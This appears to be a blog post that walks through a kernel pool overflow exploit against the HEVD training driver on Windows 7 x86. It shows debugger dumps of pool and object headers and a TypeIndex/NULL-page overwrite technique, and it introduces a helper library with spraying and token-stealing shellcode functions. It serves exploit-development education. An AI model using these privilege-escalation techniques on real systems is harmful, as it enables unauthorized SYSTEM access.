2 weeks... LOL... I had to finish this up. :)
This post will be looooong, where we check the actual objects and their headers, and finally put together the actual exploit for HEVD, and I release my first version of kex.
Before we move forward for the actual exploitation we will need to prepare some more data for our objects. When we actually do a pool overflow, we will write outside of the hole (this is why we need to precisely control the new allocation with the hole) and overwriting the next object. Since we reserved the objects we will know what we overwrite but we need to see, what to place there, as messing up with kernel structures is a fast way towards BSODs.
||1:lkd> dt nt!_POOL_HEADER 879993d0
+0x000 PreviousSize : 0y000001010 (0xa)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001010 (0xa)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x40a000a
+0x004 PoolTag : 0xe174754d
+0x004 AllocatorBackTraceIndex : 0x754d
+0x006 PoolTagHash : 0xe174
||1:lkd> dt nt!_POOL_HEADER 879993d0+50
+0x000 PreviousSize : 0y000001010 (0xa)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001010 (0xa)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x40a000a
+0x004 PoolTag : 0xe174754d
+0x004 AllocatorBackTraceIndex : 0x754d
+0x006 PoolTagHash : 0xe174
The OBJECT_HEADER will be at 0x18 offset
||1:lkd> !object 87999400
Object: 87999400 Type: (8521a838) Mutant
ObjectHeader: 879993e8 (new version)
HandleCount: 1 PointerCount: 1
||1:lkd> dt nt!_OBJECT_HEADER 879993e8
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xe ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x86e0bd80 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x86e0bd80 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
and the others will be the same:
||1:lkd> !object 87999400+50
Object: 87999450 Type: (8521a838) Mutant
ObjectHeader: 87999438 (new version)
HandleCount: 1 PointerCount: 1
||1:lkd> dt nt!_OBJECT_HEADER 879993e8 +50
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xe ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x86e0bd80 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x86e0bd80 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
They could be different if we would have more handles open, but since we do the spraying, no one else will care about these objects. The object body starts at offset 0x18, this is how we get to our object at offset 0x30.
We can also see this if we dump the entire 0x50 bytes:
||1:lkd> dd 879993d0 L50/4
879993d0 040a0070 e174754d 00000000 00000050
879993e0 00000000 00000000 00000001 00000001
879993f0 00000000 0008000e 86e0bd80 00000000
87999400 00080002 00000001 87999408 87999408
87999410 00000000 00000000 00000000 00000000
||1:lkd> dd 879993d0+50 L50/4
87999420 040a000a e174754d 00000000 00000050
87999430 00000000 00000000 00000001 00000001
87999440 00000000 0008000e 86e0bd80 00000000
87999450 00080002 00000001 87999458 87999458
87999460 00000000 00000000 00000000 00000000
The underlined part is the PreviousSize, which is changing. So if we overflow into this object and use the same 0x28 bytes, we will be safe. We overwrote the object, with the same data. That's nice, but why it will be good for us? Well, we will modify the data, especially the typeindex, which is 0xe in the case above. The TypeIndex is an index to the object type table, which tells us what is this object:
||1:lkd> dd nt!ObTypeIndexTable+4*0xe L1
82b805b8 8521a838
||1:lkd> dt nt!_OBJECT_TYPE 8521a838
+0x000 TypeList : _LIST_ENTRY [ 0x8521a838 - 0x8521a838 ]
+0x008 Name : _UNICODE_STRING "Mutant"
+0x010 DefaultObject : (null)
+0x014 Index : 0xe ''
+0x018 TotalNumberOfObjects : 0x187ff
+0x01c TotalNumberOfHandles : 0x1880f
+0x020 HighWaterNumberOfObjects : 0x7a26a
+0x024 HighWaterNumberOfHandles : 0x7a28e
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x6174754d
+0x080 CallbackList : _LIST_ENTRY [ 0x8521a8b8 - 0x8521a8b8 ]
It has an embedded structure the OBJECT_TYPE_INITIALIZER which gives us a list of pointers to functions to be called at certain points of the object's lifecycle.
||1:lkd> dt nt!_OBJECT_TYPE_INITIALIZER 8521a838+0x28
+0x000 Length : 0x50
+0x002 ObjectTypeFlags : 0 ''
+0x002 CaseInsensitive : 0y0
+0x002 UnnamedObjectsOnly : 0y0
+0x002 UseDefaultObject : 0y0
+0x002 SecurityRequired : 0y0
+0x002 MaintainHandleCount : 0y0
+0x002 MaintainTypeList : 0y0
+0x002 SupportsObjectCallbacks : 0y0
+0x002 CacheAligned : 0y0
+0x004 ObjectTypeCode : 2
+0x008 InvalidAttributes : 0x100
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : 0x1f0001
+0x020 RetainAccess : 0
+0x024 PoolType : 0 ( NonPagedPool )
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0x50
+0x030 DumpProcedure : (null)
+0x034 OpenProcedure : (null)
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : 0x82afe453 void nt!ExpDeleteMutant+0
+0x040 ParseProcedure : (null)
+0x044 SecurityProcedure : 0x82ca2936 long nt!SeDefaultObjectMethod+0
+0x048 QueryNameProcedure : (null)
+0x04c OkayToCloseProcedure : (null)
Now, if we zero out the TypeIndex, this is where we get:
||1:lkd> dd nt!ObTypeIndexTable+4*0x0 L1
82b80580 00000000
Based on this, once the index is ZERO, the kernel will look for the OBJECT_TYPE and then the OBJECT_TYPE_INITALIZER structure at the NULL page, which we can map on Win 7 x86 (not in later versions).
Now we just need to have a collection of the first 0x28 bytes from the beginning of the pool allocation for the various objects.
During the collection I found that in case of named objects the above is slightly different. For example:
Named Semaphore:
040b0006
e16d6553
00000000
00000044
00000000
00000000
9a06fb38 //pointer to ???? I couldn't figure out what is there. Anyone? It's changing between reloads.
00260026 //length of the name * 2 as it's stored in Unicode
adecd178 //pointer to the name (UNICODE)
00000000
00000002
00000001
00000000
000a0010
So it's not that easy to use a named one as we have a varying pointer which I don't know where it points to + I'm not sure what would happen if I put a pointer to user space for the name. We can't predict the pointer in kernel space. Another one which doesn't really work is IoCompletionPort. So I removed all of these from my list. Anyhow, even without these we have a good set of objects, and some further research is needed on the others. This is what we have with the PreviousSize 0-d out:
pool_object_headers['unnamed_mutex'] = [0x040a0000,0xe174754d,0x00000000,0x00000050,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000e]
pool_object_headers['unnamed_job'] = [0x042d0000,0xa0626f4a,0x00000000,0x00000168,0x0000006c,0x86e0bd80,0x00000001,0x00000001,0x00000000,0x00080006]
pool_object_headers['iocompletionreserve'] = [0x040c0000,0xef436f49,0x00000000,0x0000005c,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000a]
pool_object_headers['unnamed_semaphore'] = [0x04090000,0xe16d6553,0x00000000,0x00000044,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080010]
pool_object_headers['event'] = [0x04080000,0xee657645,0x00000000,0x00000040,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000c]
A quick note on the PreviousSize field. We always know what it should be. We know exactly the hole we create and this value is simple that size divided by 8, so we can always dynamically generate it. It's added to the code.
Now let's go to exploitation.
What is kex? Well it stands for kernel exploitation, and also if you pronounce it, in Hungarian it means 'cookie' (although that word is written as keksz ('ksz' is pronounced as 'x')), and it's a collection of functions that can help writing kernel exploits faster. At this moment it has the following functions:
def allocate_object(object_to_use, variance):
def find_object_to_spray(required_hole_size):
def spray(required_hole_size):
def make_hole(required_hole_size, good_object):
def gimme_the_hole(required_hole_size):
def close_all_handles():
def calculate_previous_size(required_hole_size):
def pool_overwrite(required_hole_size,good_object):
def ctl_code(function,
def getLastError():
def alloc_memory(base_address, input, input_size):
def find_driver_base(driver=None):
def get_haldispatchtable():
def get_haldisp_ofsetsx86():
def get_haldisp_ofsetsx64():
def setosvariablesx86():
def setosvariablesx64():
def retore_hal_ptrs(HalDispatchTable,HaliQuerySystemInformation,HalpSetSystemInformation):
def restoretokenx86(RETVAL, extra = ""):
def tokenstealingx86(RETVAL, extra = ""):
def tokenstealingx64(RETVAL, extra = ""):
def tokenstealing(RETVAL, extra = ""):
Basically functions to help with finding various offsets based on OS version, finding the HalDispatchTable location, generating tokenstealing shellcode for various platforms and cases, functions to allocate memory and a set of functions that I created as part of my kernel pool spraying fun series :) like spraying, creating holes just based on the pool size we know, we don't need to prepare anything or worry about the objects. It was long time ago in my plans but somehow went under the table. I do plan to catch up with this 'project' and start to add other stuff, like bitmap read/write stuff, which is needed for newer OSs.
Not all functions were developed by myself, there are particles that were taken from various sources, and I tried to indicate it. I might modify it to my needs, like adding parameters but I still wanted to indicate the source, and not take credits for it.
With the kex helpers, it's about 50, which is much nicer, and you don't need to worry about many things.
Our required hole size is 0x200 (HEVD allocates 0x1f8 size, but it takes 0x200 on the pool: buffer + 8 byte POOL_HEADER).
A summary of this HEVD exploit:
- open the driver
- allocate our input at 0x41410000, which consists of 0x1f8 random data, and the additional overflow part
- put the value 0x42424242 at 0x00000060 (pointer to the "CloseProcedure" function handler)
- generate a tokenstealing shellcode and allocate it it into 0x42424242
- spray the kernel pool, and make holes (multiple)
- call the driver vulnerable function to make the overflow
- close all handles to trigger our shellcode
- open cmd.exe
The exploit works very reliably, I run it quite a few times.
You can find kex here:
If you find any bug, please report it, I tried to filter out everything and test most of the functions, but you never know.